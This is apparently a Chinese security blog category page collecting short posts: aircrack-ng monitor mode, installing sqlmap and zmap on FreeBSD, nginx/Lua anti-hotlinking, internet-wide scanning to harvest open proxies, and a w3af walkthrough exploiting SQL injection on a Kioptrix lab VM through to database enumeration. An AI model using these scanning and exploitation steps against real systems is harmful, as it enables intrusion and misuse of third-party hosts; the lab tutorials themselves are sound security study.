Browsed by
分类:安全检测

aircrack-ng在openwrt上的使用-wr703n-tp-link

aircrack-ng在openwrt上的使用-wr703n-tp-link

airmon-ng start wlan0 代表监听所有的通道

airmon-ng start wlan0 1 代表监听一个通道1在无线网卡上

这时候会产生 mon0 mom1 momo2 …..这样的虚拟接口,用来监听

要停掉一个监听接口只要  airmon-ng stop mon2 就可以停掉mon2

airodump-ng mon0  这时候要使用mon0这个接口,使用ifconfig可以看到所有的接口

 

freebsd 下使用最新版的sqlmap 1.0

freebsd 下使用最新版的sqlmap 1.0

sqlmap 现在越来越强大,已经有隔了二年再次更新

但FREEBSD下的SQLMAP还在二年前的版本

所以我们需要自行下载

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

 

root@freebsd:/home/admin/sqlmap/sqlmap-dev # python2.7 sqlmap.py

 

如果出现以下错误

missing one or more core extensions ('gzip', 'ssl', 'sqlite3', 'zlib') most probably because current version of Python has been built without appropriate dev packages (e.g. 'libsqlite3-dev')

 

执行以下指令

root@freebsd:/home/admin/sqlmap/sqlmap-dev # pkg install py-sqlite3

 

就可以正常使用最新版的 sqlmap

[原创]如何在nginx下防盗链,重点防迅雷

[原创]如何在nginx下防盗链,重点防迅雷

转载注明出处:https://flfq.peuland.com/

今天跟人讨论到防盗链的方案,当然重点是防迅雷,网上看了别人的方案,一个都没有真正解决问题,还在用referer判断,以下内容需要nginx,并加载lua模块

所以今天特地写了一下这文章

现行的防盗链的方法无非是检测referer头,因为http请求中常会指明referer,这相当于生活中你去拜访某人,需要别人的推荐信,referer就相当于推荐信,但这里有个问题哪,这个信可以随便伪造的哪,你没办法验明真伪的!!

所以迅雷就常用伪造的referer欺负小朋友们了。

那我们怎么办?因为用户下载的文件,肯定有特定的格式,比如rar,zip,exe,jpg等等,而这些不可以直接访问的,肯定需要你有个指引的界面,这个界面可能是 html,php,jsp,asp 等等网页格式

那如果是真用户,肯定是浏览了你的html ,php ,jsp ,asp 等网页后,才能知道你的文件下载链,才能下载!这过程肯定的,除非对方是天神,直接猜中你的下载链接 ,不然肯定要看了你的页面(包括广告,这是你的收益的重点),才能下载

OK!那我们如何在一张极简单的html上面给个zip文件的下载地址,并防盗链?
我们在用户观看html 等简单网页的时候,输出给客户一个cookie 值,你肯定要笑了,html怎么输出?这个可以由nginx代劳

代码如下

location ~* \.(htm|html)$ {
   rewrite_by_lua '
    local TaMud_id = ngx.md5("TaMud" .. ngx.var.remote_addr)
   if (ngx.var.cookie_TaMud_id ~= TaMud_id) then
       ngx.header["Set-Cookie"] = "TaMud_id=" .. TaMud_id .. ";path=/;"
--       return ngx.redirect(ngx.var.scheme .. "://" .. ngx.var.host .. ngx.var.uri)
   end
  ';
    }

上面代码写入你的nginx 的网站config配置中(以上需要nginx vhost 配置知识,并懂一点Lua语言)
这里需要注意的是 nginx conf 中注解是 # ,因为这里一断是Lua 代码,其注解是 — 两个减号,切记切记,注解是不同的,你不要调试的时候搞错了,到时候弄的骂我

上面的代码意义是,获得用户的IP地址,然后加上TaMud这个关键字(TaMud关键字一定要换成别人不知道的),取其MD5码(这了防迅雷)
然后检测用户的cookie如果传过来的 cookie里有TaMud_id 这个值,并跟本地计算出来的值是否一样( 防人伪造),如果不一样,就把本地计算出来的值传给人家

OK,当用户浏览你页面的时候,他的本地就获得了cookie TaMud_id这个值!

那当他要下载你的机器上的zip文件的时候,使用nginx  再进行同样的判断,如果没有相关的值,就不停的进行302跳转,跳死他,代码如下

location ~* \.(zip|rar|exe)$ {
   rewrite_by_lua '
    local TaMud_id = ngx.md5("TaMud" .. ngx.var.remote_addr)
   if (ngx.var.cookie_TaMud_id ~= TaMud_id) then
--       ngx.header["Set-Cookie"] = "TaMud_id=" .. TaMud_id .. ";path=/;"
       return ngx.redirect(ngx.var.scheme .. "://" .. ngx.var.host .. ngx.var.uri)
   end
  ';
    }

此处代码跟上面的有所不同,注解掉的是,回给用户的cookie,因为这里下载的是文件,不需要回给用户COOKIE,不然对方支持cookie的话,你就中招了,这里只需要302跳转,让他不停的跳

OK,到此你就成功了

就算迅雷把下载链接,人家COOKIE值,人家传递值都回抓取并共享给他的客户也没有用了,因为IP不同,算出来的TaMud_id 不同,所以人家用迅雷下载的话,就会不停的在 302 里跳转。

当然你也可以神仙一样的,修改一下 return ngx.redirect(“https://www.peuland.com“) 这你的网站首页,这样人家就跳到你的首页去

说出来是不是很简单,你只需要nginx + lua 的知识,就行了,当然其实你还需要了解很多的知识

问题是这么神一样存在的方案,网上竟然到现在还没有,所以在此公开一下

按以往经验,要被人理解并流行开,又要一两年经验

我这算是对迅雷落井下石不?

如何在一天内扫描整个互联网

如何在一天内扫描整个互联网

网络越来越大,我们需要找个人呀,找个服务呀,时间越来越长

小时候,我们找小伙伴们玩,一般是跑到小牛家,对话过程如果

小驴:“小牛在不在家”
如果在家
小牛:“在家,你是哪位”

小驴:”我是小驴,出来玩吧”
如果同意
小牛:“好的,我马上出来”

小驴:“好的,我在外面等你”
如果出来成功
小牛:“我们一起走吧”

这就是简单的互联网TCP协议连接的过程,是不是发现很像

如果我们还有,小兔,小猪,小鸭……上亿个小伙伴,我们的过程就如上所示,这里会产生一个问题,如果有的人反应有点慢,或人不在家,在整个过程中我们需要浪费大量的时间在等待,如果我们在一家等上二分钟,那积累的时间将是很巨量的

如果有上亿个小伙伴,我们有没有更好的算法呢,我们可以这样,跑到小牛家,大喊一声:“小牛,我是小驴,如果你在家,请Call Me – 119001”,不等小牛回答,我们就跑到,小兔,小猪,小鸭…….

如果人家在的,就会Call你,哪果人不在家,当然也有可能人家老妈在家,听到后制止你俩的联系,那就不需要再等待,效率成倍增加

OK, 使用第二种方案,我们可以在一天内扫描整个互联网255^4次方的数量的主机,这效率,是不是很惊人,当然,你要有个强大的网络,多强大,仅需并发能承受 在200万会话就行了,你要想,这得多贵的机器,SORRY,你可以自已打造 ,流量呢,大约在80Mbps足够了

是不是有点小激动了,因为很多人都能开始满足条件了

这里要感谢某网络中心的老师提供的实验环境,及强大的网络,虽然没用得上他1G的出口,但瞬时200万的会话已经让他有杀了我的冲动.

根 据以上的方案,我们是不是很激动的要开始我们的code,因为这样的程序写起来是如此的简单,因为太简单, 所以已经有人帮我们写好了,而且还优化了很多方案,那就是zmap,虽然简单,但效率真是很高,时间就是命哪!在一天内可以扫描整个互联网的某端口开放的 所有IP(其实如果支持200W并发100M带宽,二三个多小时足够 了)

当然我们可以使用NMap的-sS选项,nmap的程序写的有点….为了尊重前辈,我们不再过多评论

实验下来150W会话,大约是2分钟完成一个255^3的网络扫描,是不是很激动了

那剩下的时间,我们要在极短的时间内验证这些服务,我们以寻找代理服务器(HTTP,SOCKS4,SOCKS5)为例,扫描下来开放1080 8080 3128的服务器大约在1300W左右IP,那我得必须要极短的时间内验证

我们可以利用 curl这个高效的组件(curl支持线程安全,本身支持多线程,而且相当的稳定)

剩下的就简单说了一下要注意的地方

IP地址入数据库,因达到千万级,如果使用的是mysql需要注意整个表的架设及优化,尽量使用enum类型,IP本身就可以做为主键,搭的好,小破机上千万的查询也是瞬间的事宜。

使 用CURL的多线程模式,CURL支持多种语言,如果你是个资深的CODER,达到每小时百万级的验证也是眨眨眼的事宜,是不是更激动了,以前需要使用N 个月工作的事宜,现在一天就搞定,如果你问这服务器得多强哪,其实六七年前的老旧服务器都足够了,是不是有种在家里就能搞出个GOOGLE的激动了.

验证的网站也很重要,最好支持高数量并发的网站,比如像http://ip.qq.com,这样的大站,再说小网站也经不起这么疯狂的流量,一般很容易就先死翘翘了

如果你真的想搞,需要以下的知识,例个表

详尽的TCP/IP知识
MYSQL的优化
HTTP协议

C++(必须)

PHP(可选)
python(可选)
java(可选)

当然你也必须懂 linux 或 freebsd 下的各类操作

windows下的的各类操作(有利用你的工作效率,不要跟我一样装B还在用ee写程序,那是没办法的事)

结果可以在

https://proxy.peuland.com

上可以看到,每三小时验证一次,IP地址会不定时变更,请每三小时更新一次,数量在1000-6000之间变动,具体量看{G/F\W}封的速度了

想想不是很激动了,以前N个月才能完成的事,现在一天就能完成,而且一台普通台式机做服务器都能搞的定

zmap(端口扫描软件)在freebsd的安装使用

zmap(端口扫描软件)在freebsd的安装使用

Zmap端口扫描软件,是美国密歇根大学研究者开发出一款工具,以超过nmap 1300倍的扫描速度声名鹊起。相比大名鼎鼎的nmap全网扫描速度是他最大的亮点。在千兆网卡状态下,45分钟内扫描全网络IPv4地址.如何在freebsd下安装使用呢?

Zmap not  ZenMap

cd /usr/ports/math/gmp && make install clean
cd /usr/ports/net/libdnet && make install clean
cd /usr/ports/devel/gengetopt && make install clean
cd /usr/ports/devel/cmake && make install clean
cd /usr/ports/devel/git && make install clean
cd /usr/ports/devel/json-c && make install clean
rehash
cd /tmp
git clone  git://github.com/zmap/zmap.git
cd zmap
cmake -DENABLE_HARDENING=ON -DWITH_JSON=ON
make
make install
rehash
zmap -p 80 -o 192.168.txt 192.168.0.0/16

官方使用手册 https://zmap.io/documentation.html

w3af简单使用教程

w3af简单使用教程

w3af 是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架,以寻找和开发Web应用安全 漏洞,所以很容易使用和扩展.

0×00 概述

在BackTrack5R3下使用w3af测试Kioptrix Level 4的SQL注入漏洞.

0×01 简介

w3af是一个Web应用程序攻击和检查框架.该项目已超过130个插件,其中包括检查网站爬虫,SQL注入(SQL Injection),跨站(XSS),本地文件包含(LFI),远程文件包含(RFI)等.该项目的目标是要建立一个框架,以寻找和开发Web应用安全 漏洞,所以很容易使用和扩展.

0×02 安装

root@bt:~# apt-get install w3af

0×03 启动

 

root@bt:~# cd /pentest/web/w3af/
root@bt:/pentest/web/w3af# ./w3af_console

 

0×04 漏洞扫描配置

 

w3af>>> plugins
//进入插件模块
w3af/plugins>>> list discovery 
//列出所有用于发现的插件
w3af/plugins>>> discovery findBackdoor phpinfo webSpider 
//启用findBackdoor phpinfo webSpider这三个插件
w3af/plugins>>> list audit 
//列出所有用于漏洞的插件
w3af/plugins>>> audit blindSqli fileUpload osCommanding sqli xss 
//启用blindSqli fileUpload osCommanding sqli xss这五个插件
w3af/plugins>>> back
//返回主模块
w3af>>> target
//进入配置目标的模块
w3af/config:target>>>set target http://192.168.244.132///把目标设置为http://192.168.244.132/
w3af/config:target>>> back
//返回主模块

 

0×05 漏洞扫描

 

w3af>>> start

 

 

---
New URL found by phpinfo plugin: http://192.168.244.132/
New URL found by phpinfo plugin: http://192.168.244.132/checklogin.php
New URL found by phpinfo plugin: http://192.168.244.132/index.php
New URL found by webSpider plugin: http://192.168.244.132/
New URL found by webSpider plugin: http://192.168.244.132/checklogin.php
New URL found by webSpider plugin: http://192.168.244.132/index.php
Found 3 URLs and 8 different points of injection.
The list of URLs is:
- http://192.168.244.132/index.php
- http://192.168.244.132/checklogin.php
- http://192.168.244.132/
The list of fuzzable requests is:
- http://192.168.244.132/ | Method: GET
- http://192.168.244.132/ | Method: GET | Parameters: (mode="phpinfo")
- http://192.168.244.132/ | Method: GET | Parameters: (view="phpinfo")
- http://192.168.244.132/checklogin.php | Method: GET
- http://192.168.244.132/checklogin.php | Method: POST | Parameters: (myusername="", mypassword="")
- http://192.168.244.132/index.php | Method: GET
- http://192.168.244.132/index.php | Method: GET | Parameters: (mode="phpinfo")
- http://192.168.244.132/index.php | Method: GET | Parameters: (view="phpinfo")
Blind SQL injection was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The injectable parameter is: "mypassword". This vulnerability was found in the requests with ids 309 to 310.
A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "supplied argument is not a valid MySQL". The error was found on response with id 989.
A SQL error was found in the response supplied by the web application, the error is (only a fragment is shown): "mysql_". The error was found on response with id 989.
SQL injection in a MySQL database was found at: "http://192.168.244.132/checklogin.php", using HTTP method POST. The sent post-data was: "myusername=John&Submit=Login&mypassword=d'z"0". The modified parameter was "mypassword". This vulnerability was found in the request with id 989.
Scan finished in 19 seconds.
---
//开始扫描

 

0×06 漏洞利用配置

 

w3af>>> exploit 
//进入漏洞利用模块
w3af/exploit>>> list exploit
//列出所有用于漏洞利用的插件
w3af/exploit>>> exploit sqlmap 
//使用sqlmap进行SQL注入漏洞的测试

 

 

---
Trying to exploit using vulnerability with id: [1010, 1011]. Please wait...
Vulnerability successfully exploited. This is a list of available shells and proxies:
- [0] <sqlobject ( dbms: "MySQL >= 5.0.0" | ruser: "root@localhost" )>
Please use the interact command to interact with the shell objects.
---
//测试存在SQL注入漏洞
//这里要记住shell objects(这里是0),等一下要用到
0x07 漏洞利用
w3af/exploit>>> interact 0
//interact + shell object就可以利用了

---
Execute "exit" to get out of the remote shell. Commands typed in this menu will be run through the sqlmap shell
w3af/exploit/sqlmap-0>>> 
---
//sqlmap的一个交互式模块

w3af/exploit/sqlmap-0>>> dbs   

---
Available databases:  [3]:
[*] information_schema
[*] members
[*] mysql
---
//成功获得数据库信息